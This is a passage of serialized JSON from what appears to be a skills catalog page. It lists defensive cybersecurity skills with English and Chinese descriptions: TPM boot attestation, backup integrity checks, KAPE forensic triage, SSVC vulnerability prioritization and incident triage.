sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":136,"name":137,"nameZh":138,"description":139,"descriptionZh":140,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":141,"categories":142,"keywords":147,"publishedAt":44},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","TPM 测量启动验证","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","使用 tpm2-tools 验证 TPM 2.0 测量启动（measured boot）的完整性和远程证明：读取 PCR（tpm2_pcrread）、重放启动事件日志、生成并检查签名报价（tpm2_quote\u002Ftpm2_checkquote），以及将机密封印（seal）到 PCR 策略。适用于确认系统已启动可信固件\u002F内核以实现零信任（Zero Trust）设备状态、通过 PCR 漂移检测启动链篡改，或构建黄金值基线用于机群（fleet）证明。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[143,144],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":145,"categoryName":146,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C89JJEXGGRGHS6XVXDA46K","终端安全加固",[148,131,149,150,33,151,34,36,152,153,154,155,156,157,158,159,160,161,162,163],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":165,"name":166,"nameZh":167,"description":168,"descriptionZh":169,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":170,"categories":171,"keywords":178,"publishedAt":44},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","备份完整性验证","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","通过加密哈希验证、自动化恢复测试、损坏检测和可恢复性检查来验证备份完整性，确认备份对于灾难恢复和勒索软件响应是可靠的。适用于在依赖备份进行恢复之前、构建备份后验证管道、审计备份基础设施以满足合规要求，或检查不可变\u002Fair-gapped（气隙）备份是否存在静默损坏或篡改的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[172,175],{"categoryNo":173,"categoryName":174,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BQGD4WETX0HM3SM9QKQ15B","SRE 工程师",{"categoryNo":176,"categoryName":177,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BSSTY86MWS6W5GDQWB1ADQ","备份与灾难恢复",[158,179,180,181,182,34,183,184,152,185,186,187,188,189,190,191,192,193,194,195],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":197,"name":198,"nameZh":199,"description":200,"descriptionZh":201,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":202,"categories":203,"keywords":208,"publishedAt":44},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","KAPE Windows 取证收集","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","运行 KAPE（Kroll Artifact Parser and Extractor），通过 Targets 收集目标取证工件（注册表配置单元、$MFT、事件日志、prefetch、浏览器数据），并使用封装 Eric Zimmerman 的 EZ Tools（PECmd、MFTECmd、RECmd）的 Modules 进行解析。适用于事件遏制\u002F分诊早期阶段——此时完整磁盘镜像不切实际，但需要快速获得可采信、可解析的 Windows 工件集，包括大规模远程收集。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[204,205],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":206,"categoryName":207,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C9JZH3GWXPJ6CQG5P7J48Y","数字取证与电子证据分析",[209,210,211,34,212,213,214,215,216,217,218,219,220,221,222,223,155,224,225,226],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":228,"name":229,"nameZh":230,"description":231,"descriptionZh":232,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":233,"categories":234,"keywords":239,"publishedAt":44},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","SSVC 漏洞优先级分诊","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","使用 CISA 的 Stakeholder-Specific Vulnerability Categorization（SSVC，利益相关方特定漏洞分类）决策树对漏洞进行分诊和优先级排序，权衡利用状态（通过 CISA KEV 目录和 FIRST EPSS API）、技术影响、自动化程度和任务普遍性，输出 Track\u002FTrack*\u002FAttend\u002FAct 决策。适用于对漏洞扫描结果（OpenVAS、Nessus、Qualys）进行优先级排序以制定修复计划，而不局限于原始 CVSS 分数的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[235,238],{"categoryNo":236,"categoryName":237,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BQV98CYQ7TEW2D1MRQ00TE","安全公告与漏洞管理",{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},[31,240,241,34,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":259,"name":260,"nameZh":261,"description":262,"descriptionZh":263,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":264,"categories":265,"keywords":270,"publishedAt":44},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","安全事件初步分诊","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","使用 NIST SP 800-61r3 和 SANS PICERL 框架对安全事件进行初步分诊，分类事件类型、按业务影响分配优先级，并路由到相应的响应团队。适用于 SIEM\u002FEDR 告警需要人工分类、并发告警必须确定优先级，或用户报告或威胁情报 IOC 匹配需要初步事件分类的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[266,267],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":268,"categoryName":269,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BTHYSJPJ500X64JJ5CH06D","安全事件响应与威胁狩猎",[33,271,34,272,273,274,275,276,277,278,279,191,280,192,281,282,283,284,285,286],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]